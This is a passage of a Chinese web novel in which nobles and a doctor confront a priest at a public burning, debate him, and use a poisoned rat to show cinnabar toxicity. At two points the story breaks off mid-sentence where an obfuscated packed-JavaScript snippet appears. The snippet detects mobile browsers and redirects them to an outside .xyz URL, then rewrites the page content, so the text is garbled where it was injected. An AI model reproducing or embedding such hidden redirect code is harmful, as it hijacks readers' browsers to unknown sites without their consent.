里奥尼德的前面还坐着萨哈良,他从马鞍下来要慢一步,伊琳娜已经引着马首来到皮埃尔管家的面前。他们骑着的那些战马见惯生死,身上带着与生俱来的煞气,只是一声响亮的喷鼻,拉车的那些骏马就低下了头。 但管家没有退缩,他对伊琳娜说:“大小姐,停下吧,你们这是在挑战教会的权威,这是在引火烧身!” 伊琳娜瞪着他,没有一丝一毫让步的意思,她用低沉的声音说道:“皮埃尔,让开!如果今天我们对一个无辜者的死视而不见,那我们继承的就不是家产和爵位,而是永恒的耻辱和罪孽。” “更何况这是因为公司!因为我们罪恶的家族!”她伸出握紧马鞭的手,指向管家。 “大小姐,远东自有他的运行规则,神父必须要为宵禁令寻求一个合理的结束理由......我也不想看到这个结果......”管家的语气柔和了一丝,但马上他又向前一步。 萨哈良看出了管家眼中的不忍,鹿神也发现了,他盯着皮埃尔说:“这个人远没有看上去那么坚决,他的内心充满焦灼,像是无奈之举。” 里奥尼德握住军刀的镀金刀把,他也向前一步,走到管家的面前;“管家,帝国的法律赋予我世袭贵族的身份,也赋予了我维护帝国正义的责任。我们的合法性来自于军功和土地,以及保护土地和居民的责任。如果连我们都退缩,那帝国的根基就不再是法律和荣誉,而是火刑柱和谎言。” 相较于他们的决心,皮埃尔内心的焦灼和动摇简直不值一提。管家不知道,里奥尼德的怒火不仅来自于他们凶狠残忍的手段,更多来自于萨哈良先前遭受的不公正待遇,他要为少年主持正义。 教堂的钟声在远方响起,荡涤起空气中的尘埃。 皮埃尔后退半步,他抬起头,看着伊琳娜的脸:“我知道我一定劝不动你们,可大小姐,我只有一个要求,在教堂广场上,没有人会听您的话。更何况,您代表家族,您一旦开口,就是整个家族向教会宣战。” 伊琳娜把马鞭递给管家,她说:“我知道,我不会参与对峙,我会和这名部族少年一起。” 听到大小姐的保证,皮埃尔示意车夫调正车头,他戴着白手套的手拉开车门,向他们低下头,示意大家上车。 “还是坐马车去吧,骑马有点像劫法场。大小姐,少爷,就算事态紧急,也要保持贵族的体面。” 皮埃尔像亲人一样嘱咐着他们,他们赶紧从马上下来,坐上了马车。 “谢谢你,皮埃尔。”马车离开时,伊琳娜最后握住了管家的手。 他一如往日的优雅与谦逊,只是眼睛微微湿润,声音也带着颤抖:“大小姐,您知道我一直是相信您的。但我还是要提醒您,时刻牢记护卫家族的荣誉与利益。里奥尼德少爷会保护好您,你们要注意安全。” 说完,马车疾驰而去。 皮埃尔管家仍然站在原地,他牵着伊琳娜的马,望着马车消失在街道的尽头。 如潮水般涌动的人群已经汇聚到教堂广场前,他们的低声疑问在铅灰色的天空下发出沉闷的嗡鸣。清晨的风卷起地面上的枯叶与尘土,抽打在人们褴褛的衣衫上。广场中央,柴堆已经垒得一人多高,干燥的桦木枝桠间夹杂着耐烧的橡木。 卫兵拿着步枪,维持场上的秩序。 卖蜜水的老妇人被绑在柴堆间粗大的圆木立柱上,当真相大白,才知道她肮脏的麻布袍上沾染的只是变质的蜂蜜,粘滞的糖在日复一日的劳作里让布料磨得光亮。由于圆木的树皮粗粝,硌得老妇人后背生疼,却只能扭动挣扎。 她像桃核一样皱巴巴的面容在惊恐之下扭曲在一起,眼睛也瞪大了。尽管浑浊,但那里透出的是孩童眼中纯净的光。 神父站在临时搭建的木台上,头上戴着黑色的圆柱形礼帽,纯黑的圣衣破旧,边角的羊毛都起了球,就像是苦修的信徒,却散发着不容质疑的威严。银质十字架在他胸前随着呼吸起伏,他的脸庞苍白,眼皮上还有青紫的血丝,深陷的眼窝里发出锐利的目光。 “看!”他伸出枯瘦的手指,指向被火刑柱上的老妇人,“这就是与魔鬼做交易的人!这就是让我们的麦穗枯萎,让小镇失去宁静的元凶!” 在他身旁,站着一名少年助祭。他的面容清瘦,难以分辨出性别。他手中举着火把,穿着相近形制的祭服,瓷白色的皮肤在黑袍的衬托下尤为扎眼,帽子下面压着亚麻色的短发。每当神父向台下的信众讲话时,少年都会用狂热且仰慕的眼神望着他。 不是所有人都应和着神父的煽动,那些工人也曾经买过老妇人的蜜水。尽管她整日疯疯癫癫,也曾经在发病时惊吓到孩子,但总归是看着他们长大的人。 “为什么孩童会在夜间哭泣?那是因为她早已被神明抛弃!她的面容已经在诅咒之下化为恶魔在人间的代言!她用毒草浸泡的汁液掺进蜜水!”神父的声音浑厚低沉,“她用亵渎的咒语代替圣祷!她甚至......”他刻意停顿,让嗓音压低,“在圣像背后刻下颠倒的十字!” 人群开始发出惊恐的嘶声,一个农妇怀中的婴儿突然啼哭起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303154|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让开!让开!” 马车疾驰着驱赶拥挤的人流,像是被划开的海面。 那些来不及躲闪的卫兵被撞倒在地,当他们挣扎着想起身端起长枪时,马车已经冲进教堂广场。 里奥尼德毫不犹豫地一脚踹开车门,他戴着手套的右手没有拔出佩枪,只是左手按着腰间的军刀,肩膀上披着的大氅随晨风摆动。没等场上的卫兵反应过来,他已经快步走到神父面前,怒气冲冲的盯着他。 神父一手伸向身后,示意卫兵不动,然后又半举起双手,做出投降的样子。他的手上有一枚圣物戒指,上面镶嵌着一颗硕大的槽牙。 “来做个自我介绍吧,我是伊瓦尔,远东主教区的司祭。你看上去军衔应该是......”神父微笑着对里奥尼德说,又侧过身子,查看他的肩章。 “看上去是少校,你好,少校先生。” 里奥尼德惊讶于他的反应,因为他此时说话的声音根本不像在庄园和将领说话时那样谄媚,反而毫不畏惧。同时他也不只是镜镇的小神父,而是远东的司祭,这无疑是难缠的敌人。 就在他们僵持时,叶甫根尼也从马车上跳了下来。他抱着笼子,风衣半裹着他的身子,腋下还夹着笔记本,下车时还不忘关上车门,最后看了一眼车里的伊琳娜和萨哈良。 看到熟悉的医生也出现在场上时,台下的民众开始交头接耳。 “你,我是认识的,叶甫根尼医生”神父向医生点头示意,然后又对台下大声喊道,“看来我们的神秘贵族少校先生不打算报上他的名字了。” “这神父比我们猜测的来头要大多了。”看见眼下焦灼的情况,伊琳娜有些着急,她盯着窗外对萨哈良小声说道。 萨哈良不了解他们信仰中的神职人员:“什么意思,司祭是很大的来头吗?” 伊琳娜目不转睛的看着外面:“大概相当于......能在你们大萨满仪祭时站旁边的人。” “那这罗刹小鬼岂不是有麻烦了?”鹿神也看着外面,希望他们还能控制局面。 里奥尼德先回应神父,他要打破僵局:“伊瓦尔神父,我以世袭贵族的身份要求你立刻释放这位老妇人。” 神父用狡黠的目光打量着里奥,他说:“哦?虽然你没有资格对我提出这个要求,就算听你的,也都是要走流程的。但既然是世袭贵族,总归我是要给你这个面子,那你们......不如给我解释解释,给我一个理由?” “理由?理由就是你渲染鹿角妖传说的恐怖,愚弄民众,掩盖制取水银的污染后果,还给大家服用朱砂水!” 但伊瓦尔神父对里奥尼德的指控不以为然:“哦?真是严重的指控。” 里奥尼德看向身后的叶甫根尼医生,也许是这场景让医生想起了出席庭审时的场景,他有些紧张,但还是向前一步,举起手中的笔记本: “前天晚上,我到矿山下的村子里出诊,救治一名因为高烧惊厥哭闹的孩子。”那名母亲和她的孩子也在台下,但叶甫根尼忍住没去看她们。 “我想,大家应该清楚,七八岁的孩子还控制不住自己哭闹的声音,是多么荒唐的事情,”医生看向火刑柱上的老妇人,接着说道,“因为这名孩子和玛利亚老妇人一样,她的智力在朱砂水长期中毒的影响下,停留在了三四岁的时候!” 台下一片哗然。 神父嘲弄的笑着,对叶甫根尼说:“你怎么证明,这孩子和妇人的病状与朱砂水有关?” 叶甫根尼展开他的笔记,对台下的民众说:“我想,对于镜镇矿山的了解,你们要比我深刻,”他指向矿山的方向,“昨天我们到村落中调查,我统计了那些被迁移到村庄中居住的住户,有八成人出现了牙齿有暗线,震颤,精神失常的情况。” 听完医生的话,台下的民众开始骚动,他们互相检查着身上有没有出现医生所说的异样。但因为病的太久,已经不知道正常的状态是什么,他们找着各种理由,例如吸烟太多喝酒太多,没人愿意承认是因为汞中毒。 毕竟,每个月稳定的收入比什么都重要。 正当伊瓦尔神父准备反驳时,他举起手,指着医生,叶甫根尼又打断了他的话:“您手指上的这枚戒指,有严重的龋齿,生前嗜甜如命,牙冠又太过圆润。我看,不像是出自某位圣徒,倒像是来自某位贵妇人,这也是被教会压迫致死的吗?” 神父突然一愣,他原本搭在一起的手,无意识的摩挲着圣物戒指上镶嵌的牙齿。 “呵,我们的居民会听你的一面之词吗?何况还是来历不明的外地医生?叶甫根尼,我认为有必要检查你的身份证明了。” “糟了,”伊琳娜猛拍了一下座椅,如果对方揪着这个不放,叶甫根尼就完了。 就在叶甫根尼迟疑时,少年助祭悄悄向前,想趁他们不注意点燃木柴堆。 此时里奥尼德的手已经悄悄摸向腰间的佩枪,伊琳娜看着他的动作,向萨哈良求助:“不行,不能让他动手,掏枪也不行!” “怎么办?快制止他!”萨哈良看向鹿神,无意将话说出口。 但情况紧急,伊琳娜也没注意到萨哈良在和谁说话,鹿神抬起手,趁着台下信众混乱的同时,将柴堆旁的助祭绊了个跟头。 里奥尼德看见他摔倒在地,手中的火把也扔了出去,于是对神父说道: “伊瓦尔神父,医生的话还没有说完,你的随从就要动手了吗?” 43.宗教裁判庭(二) 里奥尼德话音刚落,那名少年助祭惊慌的从地上爬起来,柴堆旁的尘土弄脏了他的祭袍。少年将衣服拍干净,白皙的皮肤已经染上红晕。 “阿列克谢,不许无礼。” 伊瓦尔神父装作瞪了一眼少年助祭,他只好悻悻退到一旁,那漂亮的蓝色瞳孔里冒出凶光,死死盯着里奥尼德。 “神父,你还没有回答医生的问题。”里奥尼德摸向佩枪的手已经收了回来,为了保护叶甫根尼,他必须咄咄逼人,持续不停的向神父发问。 伊瓦尔神父的目光从那名妖冶的美貌少年助祭身上收回,他可以不在乎医生,但不得不尊重里奥的世袭贵族身份。因此神父看着里奥尼德说道:“不要着急嘛,少校。” 神父猛地转身朝向台下的民众,大声喊着:“我相信二三十年前那场席卷远东的瘟疫大家还有印象,持续不断的高热像上帝降下的惩罚之火灼烧着在场每一个人。那时候,是什么为病患缓解痛苦?” 中年人和老人对那场恐怖的瘟疫仍然心有余悸,人们用如同海浪一般的喊声回应着神父。 “感谢神父赐予的灵药!” 如果叶甫根尼不知道南方遗民使用朱砂镇静退热,也许他还能立刻反驳。可身为医生的专业性,他不得不承认也许的确有效果。 “神父,我知道这也许有效,但......”叶甫根尼低头翻看着笔记,他语速极快,紧张地对神父说:“但它也有严重的副作用,南方帝国的人们使用朱砂是经过炮制的,尽可能的去除朱砂中的杂质,降低汞毒的影响。” “哈哈哈哈,你们这些首都来的贵族和有钱人,说出这样的话,我一点都不奇怪。”神父完全不受叶甫根尼的指控影响,他怡然自得的回应着,“那我问你,远东药品和技术落后短缺,我待教区的民众如同子女,尽我所能为他们提供帮助......” 神父又凑到叶甫根尼面前说道:“医生说这句话,如同安托瓦内特皇后被斩首在巴黎街头一样。你也要像她一样,问饥饿的穷人为什么不吃蛋糕吗?” 伊琳娜在一旁的马车厢里看得起急,她听出了神父的逻辑漏洞,却无法亲自去反驳他,只能在本上涂涂画画,将他们的谈话记录下来。 “我想,镜镇的人们依靠矿区的资源过活。显然,在他们心中,贫穷比损害健康更可怕。”伊琳娜对萨哈良感慨着。 可他们积累的金钱最终也会被以税金和拳场赌博的方式再次收回,人们受到的压榨维持在微妙的界限边缘,饿不死,但也不会好受。 萨哈良点点头,他看不到这一层面,但也知道他们必须拿出更有效的武器才能击穿神父的逻辑。 “欲壑难填,一定要这样活着才行吗?”鹿神幽幽的说着。如果是刚下山的时候,萨哈良可能也会认同神明的意见,可自从见过里奥尼德和伊琳娜的生活之后,少年开始明白罗刹人的欲望究竟来自于何处。 “这......”台上的叶甫根尼听见神父的话,他拼命在脑海中回忆着昨天的见闻,想找出继续攻击神父的武器。果真如伊琳娜感觉的那样,他们的证据在神父面前难以起作用,不如趁早开始实验。 里奥尼德明显也意识到这一点,他立刻接下这一棒,转身对老妇人喊道:“玛利亚,张开嘴!给大家看你的牙齿!” 老妇人正因为恐惧在火刑柱上扭动着,当里奥尼德的声音响起时,她听话的张开了嘴。叶甫根尼明白了他的意思,几步走到柴堆旁,指向老妇人的嘴,对大家说:“看好了!她牙齿上严重的暗色沉积就是汞中毒的证明!” “我们将为大家展现,朱砂矿是如何摧毁人们的理智,陷入精神错乱——”里奥尼德看出了刚才医生的短暂犹豫,他必须立刻重新强调当前的主要矛盾,“在疯癫中,帝国的子民变成如同被妖异附体的可怜人,以此被神父利用,编纂出鹿角妖的恐怖传说。” 里奥尼德赶紧看了一眼医生,示意他立刻开始。 叶甫根尼快步走到台子中央,当着所有人的面,取出用纱布包好的朱砂粉:“这些朱砂粉取自病患家中,毫无疑问的,是来自于教堂分发给大家的‘药物’。” 他也将朱砂粉送到神父面前,神父点点头,同时用一种玩味的眼神看着他,像是看着一名耍把戏的街头卖艺人。 医生又从衣兜里拿出小碗,用水壶倒水把朱砂粉调开。递给里奥尼德后,他打开笼子,小心翼翼的伸手,防止被咬伤,然后抓出一只老鼠。 那老鼠的手感软乎的像是淋浴时沾肥皂沫的海绵,还能感知到比人类更快的心跳。但叶甫根尼并没有感受到可爱或是什么正向的体验,透过老鼠灰黑色的毛发,他只能感觉到肥厚的肉。医生想起在手术时,那些躺在手术台上大腹便便的贵族,他们华丽的衣装和细腻的皮肤下,包裹着的黄色脂肪。 叶甫根尼捏住老鼠的腮部,逼迫它张开嘴,然后从里奥尼德手中接过朱砂水,轻轻灌了下去。 也许是错觉,也许是受到惊吓。医生感觉手中老鼠的心跳越来越快,好像就要蹦出来了一样。可时间也随着心跳流逝,它乌黑的双眼依旧明亮。 “怎么,首都的医生还会兼职变戏法?是不是一阵烟雾之后,这只老鼠就要变成羊了?”神父嘲弄的对叶甫根尼说,他旁边的助祭少年脸上也带着令人厌烦的笑容。 伊琳娜一直在看着那只老鼠,至少目前它还没什么异样:“果然还是像叶甫根尼担心的那样......” 萨哈良不知道发生了什么,他问道:“伊琳娜姐姐,现在是怎么了,那只老鼠好像没什么变化?” “你可以理解成......因为这个老鼠太大了,所以朱砂水毒性生效的时间变慢了,就是剂量不够。”伊琳娜说完,转头看着萨哈良,“接下来可能就是纯粹的辩论技巧了,你相信里奥尼德吗?” 萨哈良点点头,他当然相信。 “那就希望他作为人类学学者,有着扎实的语言修养吧。” 随着时间的流逝,太阳渐渐升起,广场四周的建筑投下长长的扭曲阴影。巨大的石砌教堂在背后显得令人压抑,它的圆顶和十字架在天空下,冰冷而威严。教堂厚重的石墙遮蔽了辩论以外的杂音,只留下广场上无声的喧嚣,更凸显出其空旷与寂寥。 “慈悲,我可以理解神父您对镜镇的治理出于某种慈悲的胸怀吗?”里奥尼德突然向神父发问。 神父愣了一下,但似乎又足够自信,他也不在乎叶甫根尼的戏法,这都将成为残忍火刑中添加的那些微不足道的柴火,让火焰更烈。 他微笑着对里奥尼德说:“果然还是贵族,现在你理解我的良苦用心了吗?” 里奥尼德转身面向人群,用洪亮的声音说道:“昨日,我们对矿区进行了一次完善的调查。我们发现,山下的村落像是为了专门安置那些被繁重劳作淘汰的人们。” “那又如何?”神父看着里奥尼德,“我不管是精神错乱,还是自己乱搞导致的梅毒,这些人都不该影响我们矜矜业业,努力生活的好人!” 也许还有些亲属也住在村落中的人试图驳斥,但他们的声音马上被支持神父的人们淹没了。几位胆大的矿工站了出来,大声对里奥尼德喊着: “我们一个月有十五枚银币!这足以让我们过上吃饱穿暖的生活了!我们可以吃面包也可以吃肉!” “吃饱穿暖?我看你们把钱送给赌场也不愿意给老婆孩子添件衣服吧。”伊琳娜听完,冷笑道。 里奥尼德指着神父的鼻子,指控着他的罪行:“你那不是慈悲,神父,你那是对生命最残忍的阉割。” 他张开双臂,看着台下的民众,又转过头对神父说:“逼迫民众在奇迹、传说和权力这三重枷锁下与你交换面包?那是驯兽师的把戏!我们的大帝,我们的凯撒,在两百年前就通过改革,约束神父的权力,我们的先帝又通过农奴改革,让人们不再被锁死在土地上。” “看到叶甫根尼医生了吗?他出生在琥珀海旁的贫穷渔村,通过自身的努力考上帝国医学院,不再面对黄天厚土,而是为人们解除病痛。神父,镜镇的人们在你的控制下,可有一丝这种可能性存在?可有一丝自由存在?”里奥尼德看着叶甫根尼说,医生向他点了点头。 神父听完里奥尼德的指责,突然用手指着台下的民众:“这是镇子里的铁匠家,他祖上因为街头行凶,被判死刑,但因为先帝慈悲,仅仅是流放远东。” 铁匠家的人们紧盯着神父,将右手放在胸前。 “这是马夫家,他因为信仰异教,被帝国所不容,被逼无奈强行迁至远东。但又因为这里的生活,受到感化,自愿皈依我主。” 马夫将右手举起,两指朝上,宣示着他的忠诚。 “叶甫根尼所医治的这家,则是因为屡次盗窃不止,经历多次流放,最终来到远东。在这里,他找到了自己的归宿,虽然喜欢酒后打老婆,但是他已经改掉偷窃的毛病了!” 那些人被神父数落着罪名,纷纷低下了头。 伊瓦尔神父又反问里奥尼德:“你以为我要说他们是罪人吗?不,少校,你也是罪人,我也是罪人,上帝将我们逐出乐园,赐予人类你口中的自由,已经是最大的惩罚了。” “神父,你的上帝已经死了!我们的科学家研究炸药,工人开山拦河,建造铁路的时候,你的上帝在哪儿?” 里奥尼德举起双臂,向台下的民众宣布着,可在人们看来这几乎是异端邪说了。有的人试图扔出地上的杂物,但又害怕打到神父,将手收了回来。他们的拳头在空中挥舞着,谩骂声不绝于耳。 “呵,那正是上帝的恩典,普通人如何承受没有上帝的自由?”神父对信众的反应很满意,他冷笑一声,对里奥尼德说:“我们为了争取你口中的自由,也就是上帝的恩典,努力了多少个世纪?早在帝国诞生之前,我们不过是林中祭奉异端邪神的蛮子。是从罗马来的教士才让我们耳目一新,如今你却告诉他们,上帝死了?” 神父指向台下的民众,继续说道:“看着他们如同迷途旅人的双眼,告诉我,你的自由带来了什么?道德败坏,世风日下。男人不事劳作,女人被迫沦为娼妇,孩童不再天真。这就是你想要的?” “那你与恶魔何异!”伊瓦尔神父又指着里奥尼德,痛斥他。 里奥尼德的语气坚定,丝毫不惧怕神父的反击:“正是你这种婴儿般的羸弱扼杀了人们!你恐惧的从来不是神之死,而是人之醒!你害怕人们主宰自己的命运,成为自己价值的定义者,远东的先民从来都不是为了被你控制才到这里的,他们是因为自己的勇气和生存的欲望!” 随着辩论的进行,神父和里奥尼德都不再掩饰。也许民众听不懂他们文绉绉的用词,但是仅仅看神父的反应也能知道,至少是棋逢对手。 伊瓦尔神父并没有被激怒,反而脸上浮现出一种混杂着怜悯和嘲弄的复杂笑容。他轻轻摇头,仿佛在为一个迷途的,无可救药的灵魂感到悲哀。 “啊......我明白了。”神父的声音忽然变得异常平静,却充满了穿透力,盖过了人群的喧嚣。“原来你并非只是一个异端,少校。你是一个彻底的虚无主义者,一个可悲的迷途者!” 神父转向民众,张开双臂。 “镜镇的子民们,你们听到他说的了吗?在上帝慈悲的感召面前,他不仅否定了上帝,他甚至否定了你们!否定了你们劳作的意义,你们忍受苦难的价值,你们灵魂的归宿!” 里奥尼德已经不在乎他们本来的目的,此刻他只想将神父驳倒:“你所谓的慈悲,不过是奴隶的道德,它让弱者安于痛苦,让强者沦为庸碌。在镜镇,你用这种道德阉割了人们的潜能与可能性,让他们甘于被统治,相信你编纂的传说,永远停留在卑微的生存中!” 里奥掀起大氅,向前一步站在高台边:“你说上帝赐予自由是惩罚?不!自由是成为超越的第一步,是意志的觉醒!是的,上帝不在的自由是茫然的,但它给了我们机会,我们必须自己承担起创造意义的责任,而不是跪在虚无的神像前乞求怜悯。您却害怕这种自由,因为它意味着人们将不再需要您的指引,他们将用自己的双手掌控命运!” 伊瓦尔神父突然迈开腿,将手伸到里奥的胸前。戒指上那颗脏兮兮的牙齿几乎碰到了他的军服,里奥尼德本能的向后退了一步。 随后神父紧盯着里奥尼德,缓缓说道:“他口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311824|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的超越,是什么?那不是希望,那是深渊!那意味着将你们分为三六九等,少数自封为神的强者,和绝大多数被他们视为牲畜的你们!他怜悯你们吗?不,他根本上是鄙视你们!在他看来,你们不配得到上帝的救赎,你们只配被所谓的超人,也就是像他这样的贵族军官,用意志和权力来奴役!” 在里奥尼德身后,叶甫根尼医生还在紧张的盯着手中的老鼠,它已经出现震颤了,甚至狂乱的左右摆头,但还远远不够。马车中的伊琳娜和萨哈良被辩论的焦灼感染,他们也不知该去向何方。 伊琳娜小声说道:“真是个疯子。” 里奥尼德没有理睬神父,他大步向前,走到火刑柱前拔出长刀,割开了老妇人身上的绳子:“看看你们自己!你们不是罪人,也不是弱者,而是未完成的超人!你们有能力超越这矿井和赌场,超越这面包和祈祷——就像叶甫根尼医生一样,他从渔村走向医学院,靠的不是上帝的恩赐,而是自己的意志!但在镜镇,神父用奇迹、传说和权力这三重枷锁,剥夺了你们超越的机会,让你们永远停留在被他驯服的状态!” 伊瓦尔神父再次张开双臂,抖开了身上的漆黑圣衣,像一只硕大的乌鸦站在里奥尼德面前:“看看他的傲慢!他说上帝死了,所以谁来代替上帝的位置?是他自己!是他所属的贵族阶级!是帝国的那些将军和部长们!他们不再需要上帝的谶言来约束自己,他们用自己的意志作为新的法律!这就是你想带给镜镇的自由吗?一种弱肉强食,由权力决定一切的野蛮时代?离开镜镇的规则,谁来给你们一个月十五枚银币?” 里奥尼德手中的长刀闪闪发亮,微风吹过时发出细不可闻的声音,像是将凝重的空气划开。他将老妇人扶到叶甫根尼身边,低沉的说道:“不要再展示你的滑坡式逻辑谬误了,神父。我不会成为上帝,谁也不会成为上帝,新时代里没有神灵的位置。 “我口中的道德是主人的道德,它鼓励人勇敢、创新、追求卓越,是自然间最强烈的生命力。而不是像你这样,用原罪和惩罚来压抑生命。你所说的归宿,不过是精神的坟墓!你与恶魔何异?不,你比恶魔更可怕,因为你以上帝之名行毁灭之实,扼杀了人类成为超人的可能!” 里奥尼德最后振臂一呼,向台下的民众宣布:“镜镇的人们,醒来吧!拒绝这种奴隶的道德,拥抱你们的意志!创造自己的价值!不要再相信神父的鬼话!” “上帝已——” “老鼠已死!” 叶甫根尼打断了里奥尼德高亢的喊声,他将手中肥硕的老鼠举起来,在台上走了一圈,展示给台下每个人看。 里奥尼德和神父的辩论为叶甫根尼的实验留下了充足的时间。 “就像流浪的茨冈人口中灵验的老鼠药一样!服用朱砂水的老鼠已经死了!它和这名老妇人一样,四肢震颤、精神失常,最后一命呜呼!还是你们觉得自己能百毒不侵!” 叶甫根尼的话传入每一个人耳中,也许里奥的话他们似懂非懂,但眼前的实验结果确实板上钉钉,台下的民众开始交头接耳。 “回到最开始的问题,神父。”里奥尼德冷静下来,收起长刀,用抑扬顿挫的声音对神父说道:“放了老妇人,朱砂矿才是罪魁祸首。” 伊瓦尔神父的眼中终于燃起了怒火,但他身边的那名少年助祭却目光柔和了不少。 神父走到里奥尼德身边,低声说道:“我不得不承认,你的身份的确让我有一丝忌惮。我可以让步,判处她缓刑。” 里奥尼德愣在原地,他听出神父话里有话,像是一早就知道他是谁,这时候叔父对他的警告才回响在脑海中。 神父朝身后摆摆手,那名少年助祭走上前去,对台下的民众用稚嫩的嗓音说道:“择日再判!” 叶甫根尼医生手中还拿着那只死老鼠,他走到神父旁边,向他询问道:“可是那名老妇人……” 伊瓦尔神父已经不想继续这场辩论游戏了,他没有再看叶甫根尼一眼,只是对医生留下最后一句话:“适可而止吧医生,你已经自身难保了。” 卫兵绕过里奥尼德,走向老妇人将她押解带上囚车。 这场闹剧终于结束,神父恢复回一名神职人员该有的样子。他站在台前念起祷词,又蘸取圣水洒向人群之中,人们就像刚才什么都没发生过一样,依旧虔诚地在心中默念。 当祷告结束后,有一些狂热的信徒,从拥挤的人群中冲向神父,试图亲吻他的手,却被卫兵拦下了。伊瓦尔神父带着助祭走上前去,和他们一一握手,最后挥手示意。 人群逐渐散去,卫兵护送伊瓦尔和少年助祭,他们准备离开广场。在经过伊琳娜的马车时,他停了下来。 神父隔着窗子,将手举起。本来想敲响玻璃,但他的手却轻轻握成拳头,对坐在马车里的伊琳娜示意: “伊琳娜·伊凡诺夫娜·索尔贝格,索尔贝格商业家族的大小姐,我代表远东主教区向你致敬。” 伊琳娜没说话,她只是拉开车窗,盯着神父的眼睛。 “您怎么没有加入到刚才精彩的辩论中?难道是碍于自己女人的身份,不敢面对我们这些男人?还是你来自于普鲁士的姓氏,让你对效忠帝国产生了犹豫?”神父神色轻佻的对伊琳娜说,他丝毫不惧怕其背后的家族势力。 伊琳娜被他的语气激怒了,但她仍然保持着理性。只是伸出戴着丝绸手套的手,握住了神父的拳头,将它向后推,颤抖的手像是想要掰开他的手指。 “权力,如果我有你手中的权力,身为男人的权力,背靠教会的权力,你手指上那颗烂牙代表的权力,像你一样蔑视权利的权力。” 伊琳娜深吸一口气,说道:“我会让你们这些神棍知道,自己才是阻碍帝国进步的蛀虫。” “但你没有,或者说,你即将一无所有。”神父张开他的手指,反手将伊琳娜的手捧到面前,想亲吻她的手背。 但伊琳娜嫌恶的看着他,快速抽了回去。 最后,他准备登上教会的马车,从斗篷下伸出他佩戴圣物戒指的手,指向仍然站在台上的里奥尼德说道: “少校,你早晚有一天会溺毙在自己的鲜血之中。” 44.傲慢与偏见 教堂广场上的人们渐渐散去,他们陆续回到了自己的工作岗位上,小镇的街头也恢复往日的喧闹。 马车驶离了镇子,空气似乎清冷了一些,但也洁净了许多。越过小镇中的房屋,还能望见远处,被开采得斑驳的山体裸露着深深的矿坑和碎石堆,像大地上的疤痕,沉默地诉说着这里的营生。 他们沿着之字形的山路向上攀行,一侧是陡峭的山坡,另一侧则是镜镇位于的开阔谷地,可以看见山下那一片灰蒙蒙的屋顶和矿区高耸的井架。偶尔有不知名的鸟儿从林间惊起,扑棱着翅膀飞向远处。 尽管成功营救卖蜜水的老妇人,但对于最终的结果来说,几乎是惨胜。 叶甫根尼不知道他列举的证据是哪儿出了问题,尽管他也知道神父在当地的威严不是那么容易击垮的,但至少人们应该理解朱砂水的危害,可最后看上去几乎没有产生任何影响。 里奥尼德心里也很清楚,他并没有在辩论中压过神父。这名经验丰富,手段老辣的敌人远不是学院辩论赛中的对手可以比拟的,尤其擅长抓住逻辑漏洞歪曲概念。 萨哈良则是被大家的情绪影响,他不理解,明明老妇人已经被救下了,为什么大家看不出来高兴,倒像是失败了。 伊琳娜沉思着,她感觉像是触碰到了某个庞然大物的一角,心里升起莫名的不安。 鹿神同样心情不悦,他紧盯着里奥尼德,思考着他口中那句“新时代没有神灵的位置”的具体含义。 当马车抵达公司庄园时,已经接近傍晚。虽然叶甫根尼想返回诊所,但还是在伊琳娜的强烈要求下,一同来到庄园。 “大小姐,少爷,我已经准备好晚宴了,请客人们先跟随女仆到会客厅休息,我有些话想说。” 皮埃尔管家将他们带到主楼前,经过马厩时,萨哈良看见自己的马已经在那边吃上燕麦了。 这是一座庞大的庄园,它赫然矗立在山间的密林间。那是典型的帝国贵族庄园风格,宏伟而带有一丝粗犷,有着白色的外墙、铜绿色的穹顶和连排高大的落地窗,试图在这片蛮荒之地复刻首都的繁华。夕阳的光芒恰好掠过屋顶,给那冰冷的建筑镀上金边 叶甫根尼和萨哈良仔细打量着这座豪华的庄园别墅,难怪里奥会觉得黑水城的那一栋太过简陋。医生也没有怎么去过贵族的庄园,在他看来这里几乎已经比医学院院长的宅邸还要奢华了。 女仆带着叶甫根尼和萨哈良到会客厅去,当他们进门时,萨哈良最后瞥了一眼走进长廊的两人,正巧里奥尼德也转过头,看着少年的眼睛。 皮埃尔管家还是将他们带到了镜廊,先前被里奥尼德破坏的镜子已经换上了新的,中间的位置仍然放了照片,只不过这次是庄园的冬日景色。 “大小姐,少爷,铁路已经修复了。如果大小姐想离开远东,需要抓紧时间。”尽管皮埃尔的眼神中有诸多不舍,但他还是愿意帮助伊琳娜。 伊琳娜向他点头,说:“好的,皮埃尔。” “我给你们准备了明日一早的车票,有一班客列车会按时抵达,豪华程度可以参考穿越欧洲的东方快车。”管家微微低头,恭敬的告诉他们。 皮埃尔管家接着对伊琳娜说:“大小姐,等到海滨城您只需要联系商会的人就可以了,他们会帮您安排去新大陆的事宜,我也让他们准备生活用品和仆人。” 伊琳娜又点点头,对管家说:“仆人倒不必了......” 皮埃尔管家看向里奥尼德,接着说道:“少爷,还有件重要的事要告诉您。” “嗯?怎么了?”里奥尼德还在思考先前的辩论,听见自己的名字才反应过来。 “昨天晚上,电报线路也修复了。神父一早收到了黑水城教会传来的消息,他应该是知道了什么,至少是认识您。”皮埃尔管家暂时还不知道,里奥尼德在黑水城庄园已经和那边的神父发生过冲突,他看着里奥尼德,想知道少爷是什么反应。 但里奥尼德对这事不以为然,他说:“嗯,没事的。” 